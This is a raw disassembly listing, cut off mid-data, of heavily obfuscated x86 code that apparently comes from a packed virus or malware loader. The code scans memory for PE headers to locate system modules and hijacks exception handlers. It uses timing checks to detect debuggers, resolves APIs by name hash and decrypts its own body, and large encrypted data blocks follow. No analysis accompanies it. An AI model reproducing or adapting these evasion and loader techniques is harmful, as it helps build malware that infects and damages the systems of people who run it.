[edx], ch xor ah, [ecx+34E7A33Ah] pop edi rol byte ptr [esi], cl sub bh, [eax] add esp, ebx xchg eax, edi xchg eax, ebp sub_56EE27 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56EE43 proc near ; CODE XREF: sub_56EE27+6p arg_34 = dword ptr 38h mov ebx, ecx pop ebx and eax, 0FFFFF000h jge loc_56EE5C pusha mov ecx, 162CDEDBh mov bx, 724Ch popa loc_56EE5C: ; CODE XREF: sub_56EE43+8j mov ecx, edx xor edi, edi loc_56EE60: ; CODE XREF: sub_56EE43+38j cmp word ptr [eax], 5A4Dh jnz short loc_56EE75 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_56EE7D loc_56EE75: ; CODE XREF: sub_56EE43+22j sub eax, 1000h inc edi jmp short loc_56EE60 ; --------------------------------------------------------------------------- loc_56EE7D: ; CODE XREF: sub_56EE43+30j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+5F9390Fh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_56EEB7 mov esi, [eax+1Ch] loc_56EEB7: ; CODE XREF: sub_56EE43+6Fj xor eax, eax loc_56EEB9: ; CODE XREF: sub_56EE43+89j cmp eax, 32h jz short loc_56EEDD cmp word ptr [esi], 5A4Dh jz short loc_56EECE loc_56EEC5: ; CODE XREF: sub_56EE43+98j sub esi, 10000h inc eax jmp short loc_56EEB9 ; --------------------------------------------------------------------------- loc_56EECE: ; CODE XREF: sub_56EE43+80j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_56EF1F jmp short loc_56EEC5 ; --------------------------------------------------------------------------- loc_56EEDD: ; CODE XREF: sub_56EE43+79j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp-28h+arg_34] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp-28h+arg_34] push ebp call $+5 pop ebp sub ebp, 5F9391Ah lea eax, [ebp+5F938D8h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_56EF1F: ; CODE XREF: sub_56EE43+96j xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov bl, al jnb loc_56EF38 or ebx, 1D1BD933h loc_56EF38: ; CODE XREF: sub_56EE43+E9j mov cx, ds mov ebx, edx and cl, 4 push 0 push ebx call sub_56EF4B and [ebx-3Dh], bl sub_56EE43 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56EF4B proc near ; CODE XREF: sub_56EE43+100p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_56EF4B endp ; --------------------------------------------------------------------------- mov dl, [eax-80h] xlat db 2Eh pusha adc ax, 3FF4h cld popa or cl, cl jnz loc_56EFA7 jmp loc_56EF7D ; --------------------------------------------------------------------------- mov ds:7F1F8C5h, al pop ebx db 66h movsb loc_56EF7D: ; CODE XREF: .XComp0:0056EF70j mov dword ptr [ebp+5F91785h], 1 jmp loc_56EF9D ; --------------------------------------------------------------------------- dd 9D22F8C0h, 8CDA3EB8h, 45CB6F12h, 0F5637705h db 0C1h ; --------------------------------------------------------------------------- loc_56EF9D: ; CODE XREF: .XComp0:0056EF87j jmp loc_56EFC6 ; --------------------------------------------------------------------------- add bx, 1E13h loc_56EFA7: ; CODE XREF: .XComp0:0056EF6Aj mov dword ptr [ebp+5F91785h], 0 push esi jmp loc_56EFC5 ; --------------------------------------------------------------------------- db 2Ah dd 0D2D476C1h, 3D1515BDh, 9A45BE3Ch ; --------------------------------------------------------------------------- stosb loc_56EFC5: ; CODE XREF: .XComp0:0056EFB2j pop ebx loc_56EFC6: ; CODE XREF: .XComp0:loc_56EF9Dj mov [ebp+5F92719h], eax mov ebx, ecx jmp loc_56EFDB ; --------------------------------------------------------------------------- adc eax, 3488BCBh jnb short loc_56F025 dec eax loc_56EFDB: ; CODE XREF: .XComp0:0056EFCEj mov [ebp+5F908D1h], eax call near ptr loc_56EFE9+3 movsb cli sahf loc_56EFE9: ; CODE XREF: .XComp0:0056EFE1p cvtps2pd xmm2, qword ptr [ebx+edx*2+5Bh] pop esi cld add esi, 6729h mov bx, ax mov eax, 743E9484h add eax, 8BC18533h mov edx, eax loc_56F006: ; CODE XREF: .XComp0:0056F02Ej mov ecx, [esi] clc sub ecx, 560432ABh mov bx, dx xor ecx, 2651E2B8h xor ecx, 570EED8Ch pusha clc mov eax, edx popa mov [esi], ecx loc_56F025: ; CODE XREF: .XComp0:0056EFD8j sub di, 8E2Ch sub esi, 4 dec eax jnz loc_56F006 movsx edi, cx jmp short loc_56F03D ; --------------------------------------------------------------------------- db 1Bh, 2, 0 db 0 ; --------------------------------------------------------------------------- loc_56F03D: ; CODE XREF: .XComp0:0056F037j jmp loc_56F68B ; --------------------------------------------------------------------------- jmp loc_56F057 ; --------------------------------------------------------------------------- retn 0B400h ; --------------------------------------------------------------------------- dw 0E601h dd 91559EE0h, 10915EDDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 1, 1Bh ; --------------------------------------------------------------------------- loc_56F057: ; CODE XREF: .XComp0:0056F042j pusha jg loc_56F075 pusha jmp loc_56F071 ; --------------------------------------------------------------------------- dd 315DADA8h, 51ECA2B8h, 0BFA67F8Dh db 0BEh ; --------------------------------------------------------------------------- loc_56F071: ; CODE XREF: .XComp0:0056F05Fj movsx esi, si popa loc_56F075: ; CODE XREF: .XComp0:0056F058j mov eax, 0 jmp loc_56F088 ; --------------------------------------------------------------------------- db 4Eh dd 2C82E4B0h, 121F9CFFh ; --------------------------------------------------------------------------- loc_56F088: ; CODE XREF: .XComp0:0056F07Aj mov edx, [esp+28h] or [ebp+5F91B09h], ebx mov [ebp+5F9328Dh], eax pusha mov ah, 0A9h popa mov esi, 3Ch sub [ebp+5F92085h], edx add esi, [esp+24h] pusha mov [ebp+5F92441h], eax popa lodsw clc add eax, [esp+24h] mov [ebp+5F92C91h], edi nop push eax push edx pusha pusha popa popa rdtsc pusha push eax push edx rdtsc pop edx pop eax pusha popa popa pop edx pop eax push eax push eax push edx jle loc_56F0EF jmp loc_56F0EF ; --------------------------------------------------------------------------- db 0E5h dd 9E9DC027h, 0BA4ABC48h db 6Ch, 0BFh, 24h ; --------------------------------------------------------------------------- loc_56F0EF: ; CODE XREF: .XComp0:0056F0D8j ; .XComp0:0056F0DEj rdtsc jmp loc_56F101 ; --------------------------------------------------------------------------- dw 0F97Ah dd 315FA90Ch, 0E82CE50Ah db 69h ; --------------------------------------------------------------------------- loc_56F101: ; CODE XREF: .XComp0:0056F0F1j pop edx pop eax nop jmp loc_56F118 ; --------------------------------------------------------------------------- db 5Dh, 28h, 6 dd 1806B040h, 91D89AE3h, 43298BCAh ; --------------------------------------------------------------------------- loc_56F118: ; CODE XREF: .XComp0:0056F104j mov eax, [eax+78h] jnb loc_56F127 add [ebp+5F92415h], ecx loc_56F127: ; CODE XREF: .XComp0:0056F11Bj or [ebp+5F916E9h], eax add eax, [esp+28h] cmc mov eax, [eax+18h] sub [ebp+5F932DDh], edx inc eax jmp loc_56F14D ; --------------------------------------------------------------------------- db 1Bh, 69h, 6Bh dd 0DF019F4Ah, 0F6B1A017h db 0Ah ; --------------------------------------------------------------------------- loc_56F14D: ; CODE XREF: .XComp0:0056F13Cj mov [ebp+5F90711h], esi mov [ebp+5F93A4Ch], eax jmp loc_56F16C ; --------------------------------------------------------------------------- dw 8608h dd 0B7A60756h, 84021AB2h, 8D5A8E69h ; --------------------------------------------------------------------------- loc_56F16C: ; CODE XREF: .XComp0:0056F159j pop eax jmp loc_56F182 ; --------------------------------------------------------------------------- wait adc ebx, [esi-5136BE9Ah] mov byte ptr [edi+edi*4+3DFF93BCh], 6Eh wait loc_56F182: ; CODE XREF: .XComp0:0056F16Dj mov esi, [eax+78h] sub [ebp+5F9218Dh], edx add esi, 1Ch or [ebp+5F9325Dh], esi stc add esi, [esp+24h] pusha mov ecx, [ebp+5F9115Dh] jb loc_56F1AB and dx, 4D0Ah loc_56F1AB: ; CODE XREF: .XComp0:0056F1A0j popa lea edi, [ebp+5F91399h] jmp loc_56F1BC ; --------------------------------------------------------------------------- db 94h dd 0C0A2848Dh ; --------------------------------------------------------------------------- loc_56F1BC: ; CODE XREF: .XComp0:0056F1B2j lodsd stc add eax, [esp+24h] jb loc_56F1CE xor [ebp+5F90F89h], ebx loc_56F1CE: ; CODE XREF: .XComp0:0056F1C2j stosd jnz loc_56F1DB mov [ebp+5F910BDh], ebx loc_56F1DB: ; CODE XREF: .XComp0:0056F1CFj lea edi, [ebp+5F90FE5h] pusha jmp loc_56F1F0 ; --------------------------------------------------------------------------- add cl, [esi+2CC1407Dh] inc esp dec eax xchg eax, edx loc_56F1F0: ; CODE XREF: .XComp0:0056F1E2j popa jz loc_56F1FD or [ebp+5F92B59h], esi loc_56F1FD: ; CODE XREF: .XComp0:0056F1F1j lodsd jbe loc_56F20A mov [ebp+5F90C21h], esi loc_56F20A: ; CODE XREF: .XComp0:0056F1FEj add eax, [esp+24h] mov [ebp+5F90D29h], ecx nop jo loc_56F222 pusha mov ax, cx mov ebx, esi popa loc_56F222: ; CODE XREF: .XComp0:0056F215j push eax jp loc_56F237 jmp loc_56F237 ; --------------------------------------------------------------------------- dw 9DE6h dd 1CADE154h ; --------------------------------------------------------------------------- cli cmpsb dec esp loc_56F237: ; CODE XREF: .XComp0:0056F223j ; .XComp0:0056F229j nop jno loc_56F244 sub [ebp+5F91929h], eax loc_56F244: ; CODE XREF: .XComp0:0056F238j stosd jge loc_56F25F jnz loc_56F25F jmp loc_56F25F ; --------------------------------------------------------------------------- dec ebx retf ; --------------------------------------------------------------------------- dd 0D9D3DE31h db 0C7h, 0C6h, 43h ; --------------------------------------------------------------------------- loc_56F25F: ; CODE XREF: .XComp0:0056F245j ; .XComp0:0056F24Bj ... lea edi, [ebp+5F91ACDh] clc lodsd jmp loc_56F27C ; --------------------------------------------------------------------------- dd 44AAB53Ah, 50FC9DBEh, 5EC271AFh, 0EC553BE8h ; --------------------------------------------------------------------------- loc_56F27C: ; CODE XREF: .XComp0:0056F267j add eax, [esp+28h] clc stosd mov [ebp+5F932D5h], ebx pop esi jg loc_56F295 sub [ebp+5F9353Dh], ecx loc_56F295: ; CODE XREF: .XComp0:0056F289j ; .XComp0:0056F321j dec dword ptr [ebp+5F93A4Ch] cmp dword ptr [ebp+5F93A4Ch], 0 jnz short loc_56F2B4 mov dword ptr [esp+1Ch], 0 lea esi, [ebp+5F93EB8h] jmp esi ; --------------------------------------------------------------------------- loc_56F2B4: ; CODE XREF: .XComp0:0056F2A2j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+5F91899h] test al, al jz short loc_56F2CB cmp al, [edi] jnz short loc_56F317 loc_56F2CB: ; CODE XREF: .XComp0:0056F2C5j push edi xor al, al loc_56F2CE: ; CODE XREF: .XComp0:0056F2CFj scasb jnz short loc_56F2CE pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_56F2DB: ; CODE XREF: .XComp0:0056F304j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_56F2EA: ; CODE XREF: .XComp0:0056F2FDj shr bx, 1 rcr ax, 1 jnb short loc_56F2FB xor ax, 5041h xor bx, 5449h loc_56F2FB: ; CODE XREF: .XComp0:0056F2F0j dec dh jnz short loc_56F2EA xor ecx, eax xor edx, ebx dec edi jnz short loc_56F2DB not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_56F326 loc_56F317: ; CODE XREF: .XComp0:0056F2C9j pop esi add esi, 4 inc dword ptr [ebp+5F9328Dh] jmp loc_56F295 ; --------------------------------------------------------------------------- loc_56F326: ; CODE XREF: .XComp0:0056F315j pop esi add [ebp+5F92B81h], ebx jp loc_56F339 sub [ebp+5F90A61h], ecx loc_56F339: ; CODE XREF: .XComp0:0056F32Dj mov eax, [ebp+5F9328Dh] jmp loc_56F356 ; --------------------------------------------------------------------------- dd 5987417Ch, 52E8AF11h, 0B53D64BBh, 9504693h db 0E5h, 69h ; --------------------------------------------------------------------------- loc_56F356: ; CODE XREF: .XComp0:0056F33Fj shl eax, 1 xor [ebp+5F9256Dh], eax add eax, [ebp+5F91ACDh] pusha mov [ebp+5F91979h], esi popa mov esi, 0 or [ebp+5F9311Dh], esi xchg eax, esi jmp loc_56F383 ; --------------------------------------------------------------------------- db 6Fh, 90h, 40h db 0DAh, 0FEh, 0B2h ; --------------------------------------------------------------------------- loc_56F383: ; CODE XREF: .XComp0:0056F378j lodsw jge loc_56F392 jbe loc_56F392 clc loc_56F392: ; CODE XREF: .XComp0:0056F385j ; .XComp0:0056F38Bj jmp loc_56F3AA ; --------------------------------------------------------------------------- db 94h dd 1D7F0A73h, 7013762h, 6E0861ABh, 5ABAD0F8h ; --------------------------------------------------------------------------- adc [edx], ebp loc_56F3AA: ; CODE XREF: .XComp0:loc_56F392j shl eax, 2 mov [ebp+5F90B5Dh], esi add eax, [ebp+5F91399h] jmp loc_56F3C5 ; --------------------------------------------------------------------------- add dword ptr [esi+26h], 0F065D112h loc_56F3C5: ; CODE XREF: .XComp0:0056F3B9j xchg eax, esi xor [ebp+5F907B9h], ebx lodsd cmc mov ecx, [esp+24h] jmp loc_56F3DE ; --------------------------------------------------------------------------- db 54h db 0CCh db 6Fh, 65h, 4Eh db 7, 0EEh ; --------------------------------------------------------------------------- loc_56F3DE: ; CODE XREF: .XComp0:0056F3D2j add eax, [esp+24h] mov [ebp+5F918E5h], esi mov [esp+1Ch], eax jmp loc_56F3F6 ; --------------------------------------------------------------------------- jo short loc_56F412 xchg al, [ebx-52h] loc_56F3F6: ; CODE XREF: .XComp0:0056F3ECj sub [ebp+5F91E25h], eax xchg eax, esi add [ebp+5F90DF9h], ecx lodsb cld xor cl, cl mov [ebp+5F92001h], ebx inc cl clc loc_56F410: ; CODE XREF: .XComp0:0056F45Aj rcl al, 1 loc_56F412: ; CODE XREF: .XComp0:0056F3F1j jnb loc_56F4A5 jmp loc_56F42D ; --------------------------------------------------------------------------- db 79h, 12h, 1Ah dd 955FADE2h, 6ACD3BC0h, 0E3DF2D14h ; --------------------------------------------------------------------------- push ebx loc_56F42D: ; CODE XREF: .XComp0:0056F418j rcl al, 1 jnb loc_56F4A5 or [ebp+5F932F9h], ebx rcl al, 1 jb loc_56F4A5 jnb loc_56F44A stc loc_56F44A: ; CODE XREF: .XComp0:0056F443j rcl al, 1 jb loc_56F4A5 sub [ebp+5F92811h], edi dec cl jns loc_56F410 cld add esp, 20h pusha mov eax, [ebp+5F90DA1h] sub [ebp+5F9317Dh], esi popa mov dword ptr [esp-4], 0 jns loc_56F481 cld loc_56F481: ; CODE XREF: .XComp0:0056F47Aj mov eax, 1 cmc lea ecx, [ebp+5F97285h] jmp loc_56F49C ; --------------------------------------------------------------------------- dw 529h dd 0A39C0363h, 4A1739A1h ; --------------------------------------------------------------------------- loc_56F49C: ; CODE XREF: .XComp0:0056F48Dj jmp ecx ; --------------------------------------------------------------------------- jnz loc_56F4A5 cld loc_56F4A5: ; CODE XREF: .XComp0:loc_56F412j ; .XComp0:0056F42Fj ... mov byte ptr [ebp+5F91899h], 0 xor [ebp+5F920F9h], edi popa mov [ebp+5F90C79h], ebx retn 8 ; --------------------------------------------------------------------------- mov [ebp+5F90D9Dh], edi cld xchg eax, esi jmp loc_56F4DC ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 3BAh dd 884A9A65h, 64152240h, 4A7B3FE7h, 0CF87878Fh ; --------------------------------------------------------------------------- loc_56F4DC: ; CODE XREF: .XComp0:0056F4C4j push eax pusha jmp loc_56F4EB ; --------------------------------------------------------------------------- db 83h dd 0D290714Dh db 21h, 88h, 61h ; --------------------------------------------------------------------------- loc_56F4EB: ; CODE XREF: .XComp0:0056F4DEj push eax push edx mov ah, 0DBh rdtsc push esi pop eax pop edx pop eax popa xchg eax, esi jg loc_56F4FE cld loc_56F4FE: ; CODE XREF: .XComp0:0056F4F7j mov [ebp+5F94077h], esi pusha mov [ebp+5F91E31h], edi jl loc_56F513 pusha popa loc_56F513: ; CODE XREF: .XComp0:0056F50Bj popa mov [ebp+5F9408Eh], ecx mov [ebp+5F91E6Dh], esi lea esi, [ebp+5F93F77h] clc jmp loc_56F53A ; --------------------------------------------------------------------------- dd 0F13ADF6Eh, 0B4441851h, 25FE5795h db 4Eh, 0C7h ; --------------------------------------------------------------------------- loc_56F53A: ; CODE XREF: .XComp0:0056F527j lea eax, dword_5B8EA1[ebp] jmp loc_56F552 ; --------------------------------------------------------------------------- db 4Ah, 0DEh, 0B6h dd 0F10F7B22h, 9C878EECh ; --------------------------------------------------------------------------- pop es pop esp loc_56F552: ; CODE XREF: .XComp0:0056F540j call eax mov [ebp+5F91751h], eax pop esi cmc mov [ebp+5F908ADh], eax retn ; --------------------------------------------------------------------------- cmc mov esi, [ebp+5F94077h] ja loc_56F571 stc loc_56F571: ; CODE XREF: .XComp0:0056F56Aj mov ecx, [ebp+5F9408Eh] add [ebp+5F91435h], edx sub eax, eax sub [ebp+5F91F8Dh], edi mov ebx, ecx mov [ebp+5F92BD1h], eax cmc jmp loc_56F63A ; --------------------------------------------------------------------------- stc loc_56F594: ; CODE XREF: .XComp0:0056F63Cj xor ah, [esi] or [ebp+5F93401h], edi mov dl, 2 stc jmp loc_56F60D ; --------------------------------------------------------------------------- pusha movzx eax, di adc bx, 0B62Eh popa loc_56F5AE: ; CODE XREF: .XComp0:0056F60Fj xor al, dl pusha mov [ebp+5F90DF9h], eax mov eax, [ebp+5F916F1h] popa add eax, 8A751D7Ah jmp loc_56F5D0 ; --------------------------------------------------------------------------- dd 0EB04BEEDh, 6A1759F5h ; --------------------------------------------------------------------------- loc_56F5D0: ; CODE XREF: .XComp0:0056F5C3j mov cl, ah or [ebp+5F91F6Dh], ebx ror eax, cl clc xor eax, 98D10842h jmp loc_56F5F0 ; --------------------------------------------------------------------------- db 0B5h, 7Eh, 25h dd 0E952B6CEh, 7CBCDA8Eh ; --------------------------------------------------------------------------- loc_56F5F0: ; CODE XREF: .XComp0:0056F5E0j jnp loc_56F5FF pusha clc or esi, [ebp+5F91A89h] popa loc_56F5FF: ; CODE XREF: .XComp0:loc_56F5F0j dec dl pusha push esi mov edi, edx pop ecx mov eax, [ebp+5F92785h] popa loc_56F60D: ; CODE XREF: .XComp0:0056F59Fj or dl, dl jnz loc_56F5AE stc dec ebx xor [ebp+5F91461h], esi inc esi pusha push eax pop eax jmp loc_56F639 ; --------------------------------------------------------------------------- dw 80D0h dd 0A4EBB585h, 2CE98044h, 1F2E012Ch, 0C73346B4h db 0B0h ; --------------------------------------------------------------------------- loc_56F639: ; CODE XREF: .XComp0:0056F621j popa loc_56F63A: ; CODE XREF: .XComp0:0056F58Ej or ebx, ebx jnz loc_56F594 jg locret_56F65D jmp locret_56F65D ; --------------------------------------------------------------------------- db 49h, 37h, 8Eh dd 0A4DF258h, 0DAAD3F09h, 0C2891519h db 86h ; --------------------------------------------------------------------------- locret_56F65D: ; CODE XREF: .XComp0:0056F642j ; .XComp0:0056F648j iret ; --------------------------------------------------------------------------- dw 8509h ; --------------------------------------------------------------------------- xor eax, 5F931h add [ecx-6DA9243h], cl add eax, 81600000h retf 46A7h ; --------------------------------------------------------------------------- lds ebx, [eax+edi*4-28h] retf ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 5, 61h, 0 dd 0ED9D8900h, 5F90Fh, 9BD8900h db 11h, 0F9h, 5 ; --------------------------------------------------------------------------- loc_56F68B: ; CODE XREF: .XComp0:loc_56F03Dj lea eax, [ebp+5F93A6Ah] jnz loc_56F69F jns loc_56F69F ; CODE XREF: .XComp0:0056F701j pusha popa loc_56F69F: ; CODE XREF: .XComp0:0056F691j ; .XComp0:0056F697j jz loc_56F6AC jz loc_56F6AC clc loc_56F6AC: ; CODE XREF: .XComp0:loc_56F69Fj ; .XComp0:0056F6A5j mov [ebp+5F91649h], eax mov [ebp+5F900C1h], edi lea eax, [ebp+5F93ED6h] jo loc_56F6D1 pusha adc ebx, 0D49E7B5h adc bx, 5B23h popa loc_56F6D1: ; CODE XREF: .XComp0:0056F6BEj jnp near ptr loc_56F6E6+4 pusha add [ebp+5F9243Dh], ecx call near ptr loc_56F6E6+2 sbb edx, [eax+74h] loc_56F6E6: ; CODE XREF: .XComp0:0056F6DEp ; .XComp0:loc_56F6D1j mov ecx, 89615E9Dh test edx, ecx adc bh, cl add eax, 12E8h add [eax+6FAD327Eh], bh pushf outsd mov ch, 4Dh add esp, [esi] cmc db 36h js short near ptr loc_56F697+3 pop eax sub bl, [edx] call near ptr loc_56F719+4 xor eax, 77CDF67Ah sbb ebp, [ecx+6Bh] dec edx lahf add edi, ebx pop ss loc_56F719: ; CODE XREF: .XComp0:0056F707p mov al, ds:0E90AF6B1h adc [eax], al ; --------------------------------------------------------------------------- dd 0DC930000h, 656B77Ah, 0E11756D6h, 0B072A28Eh, 585BB2F8h dd 11E9h, 0A230DE00h, 0F9C712F4h, 83EB0A17h, 68050C95h dd 0C081E9B9h, 63EEh, 0DCC18166h, 0BAF7h, 0BF0F0000h, 103C8BDEh dd 81C88B66h, 447973C7h, 5D8D8B07h, 8105F92Eh, 6E3183C7h dd 81F08B4Eh, 53FDDEFh, 103C8976h, 6850Fh, 8D890000h, 5F91095h dd 3303EA83h, 0F91E018Dh, 81FC4A05h, 0FF9CECFAh, 11850FFFh dd 81000000h, 0BC60C4F3h, 25E96Ch, 71910000h, 0F182738Ch dd 18E59D2Bh, 9EE905F9h, 0DDFFFFFFh, 52FB89BCh, 0F9312C7Ch dd 0B781A549h, 0AFCF73A7h, 0EB892D06h, 14h, 3 dup(0) dd 9100h, 0B3858D00h, 8905F942h, 0F9073D85h, 0F4BD8305h dd 5F941h, 12B840Fh, 85C60000h, 5F91899h, 6BFD6856h, 3481FE3Fh dd 2006C424h, 19B5FF2Ah, 8D05F927h, 0F93A6A85h, 89D0FF05h dd 0F941E885h, 9985C605h, 5605F918h, 4E8h, 0A8B85200h dd 448B509Ch, 8B0424h, 4244489h, 19B5FF58h, 8D05F927h dd 0F93A6A85h, 89D0FF05h, 0F941EC85h, 68046A05h, 0EE21C6BEh dd 42240481h, 8B11DE49h, 0F941F885h, 1F40505h, 0E0C10000h dd 90509002h, 95FF006Ah, 5F941ECh, 41F08589h, 0D88B05F9h dd 0FFFFFFB8h, 3D95FFFFh, 8B05F907h, 3D95FFC3h, 0E905F907h dd 8Dh, 41F4BD83h, 0F0005F9h, 185h, 8B57C300h, 0F941F0BDh dd 8583AB05h, 5F941F0h, 83C35F04h, 0F941F4BDh, 850F0005h dd 1, 0AD8360C3h, 5F941F0h, 0F09D8B04h, 8305F941h, 0FFFFC7Bh dd 1D85h, 0BB4A6800h, 3481592Eh, 2E3B4A24h, 0FF006A59h dd 0E895FF33h, 6105F941h, 26E9C3h, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 0F941E895h, 0F0AD8305h, 405F941h, 0FFFFA8E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 18800000h, 27EE720Ch, 81AFF657h, 0DF14D980h, 0CE358F2Ch dd 4C75C430h, 0D60BBFFAh, 0F5431EF9h, 3EDD0FA3h, 65E57F0Ch dd 96BDFE5Bh, 0CD058AD2h, 853ACA2Bh, 4605A75Fh, 0D716ABF0h dd 0F5434CF5h, 3DD209A1h, 65FF7F0Ch, 89A7E344h, 0D31994D2h dd 8B2EDD30h, 0A31C434h, 0C616AFE7h, 0BB421EB8h, 2BC609B4h dd 2AF9660Ch, 89A9E345h, 0DCh, 62h dup(0) dd 18800000h, 2BE47B0Ch, 96A7E54Bh, 0D10E89D2h, 0C636DD38h dd 5934C275h, 0D700A8B5h, 0F4504CB7h, 79D708B8h, 2BE5635Eh dd 0C4AFFF4Bh, 0C75C979Bh, 8B25DA30h, 5E26D326h, 0B84BA7F0h dd 0FE5A3CD4h, 75D615ACh, 29E5630Ch, 0C4ACF04Dh, 0D85C8D9Bh dd 8B3AC02Dh, 4538CF38h, 0D345B3E7h, 0E91608B7h, 38C715A8h dd 3CAB625Eh, 0C4BAE44Dh, 0D9138B82h, 853ACE2Dh, 48h dup(0) dd 18800000h, 24F9750Ch, 96ADFA41h, 0CA5C8AD5h, 8B3BC030h dd 0A26CB3Dh, 0DC00AFF7h, 0EE590AF9h, 2B9302A3h, 2CE57859h dd 8DE8F64Ch, 0D105D99Ch, 0D877DD2Ah, 4F21D92Ch, 0BF6FE4F8h dd 0FA530089h, 799F03BEh, 2AE77859h, 8DE8F543h, 0CC1AD986h dd 0C677C230h, 583AC730h, 0DC04EAECh, 0FE444CBDh, 2BD212BEh dd 2AF23658h, 94E8E357h, 0CC1B9680h, 79C23Eh, 61h dup(0) dd 1F800000h, 65EE7A45h, 96BAFE41h, 0DB088987h, 8B798E3Bh dd 593CC201h, 0DD17BAB5h, 0F6571EBEh, 2AD20EEDh, 20EE740Ch dd 85A5B14Ch, 0CB0C909Ch, 0CE23CE33h, 44348A31h, 0D308EAF1h dd 91530EA0h, 7EC70FC0h, 2BE2365Fh, 90ABF444h, 0DC5C9D97h dd 8B368F26h, 5F27C303h, 0C00AEAE6h, 0FA440FF9h, 3DD60DAEh dd 2DDF3602h, 82E8E24Bh, 9E19959Bh, 8C39C028h, 45228A21h dd 0D345A1E7h, 0F45B15B7h, 9D03BFh, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2D51E900h, 7E80000h, 2C000000h, 383432EFh, 0B589C69Dh dd 5F931E5h, 8D09FC5Ah, 5F92945h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 81A935C3h dd 2D0B23E3h, 0C9BD8323h, 5F931h, 0BD830975h, 5F912B5h dd 50137400h, 0B8C08B53h, 1, 0F2269D8Dh, 0D3FF05FBh, 0BD83585Bh dd 5F912B5h, 50117400h, 1B853h, 9D8D0000h, 5FBF0D7h, 585BD3FFh dd 12E9h, 7E39C600h, 6EC042C1h, 0CA40A000h, 6EB9F94h, 0F0EC751h dd 383h, 3AD38000h, 0BF0FC08Bh, 0E9BD83D1h, 5F915h, 183840Fh dd 2EBB0000h, 8330FE88h, 0F908B5BDh, 840F0005h, 171h, 1125958Bh dd 9D8905F9h, 5F91611h, 0DE8B6660h, 47CB8166h, 0B5858B2Fh dd 0F05F908h, 28Bh, 5D08B00h, 3E8h, 55A05EBAh, 0D1958B12h dd 9005F909h, 53D2F8BAh, 6FBA5053h, 905F1A23h, 85CB8166h dd 0B7858D24h, 8B05F94Eh, 6B350D9h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 462C357h, 85B5891Fh, 6605F907h, 933DEB81h, 2B359D8Bh dd 858D05F9h, 5F94E95h, 8950F78Ah, 880F2404h, 6, 0C6DCF281h dd 95FF3CC7h, 5F90DCDh, 13E8h, 0C0DA3A00h, 0FC026216h dd 1EE3BC2Fh, 4C4AA6E0h, 0CF2037FBh, 5AD98B66h, 6A0CC483h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 6624C351h, 0FF315BAh, 0A80h, 4810F00h, 66000000h dd 8D3402BAh, 0F94E9585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0F21C25F4h dd 958BA429h, 5F917C5h, 52506050h, 310FC68Ah, 14E9h, 0C1985200h dd 26523554h, 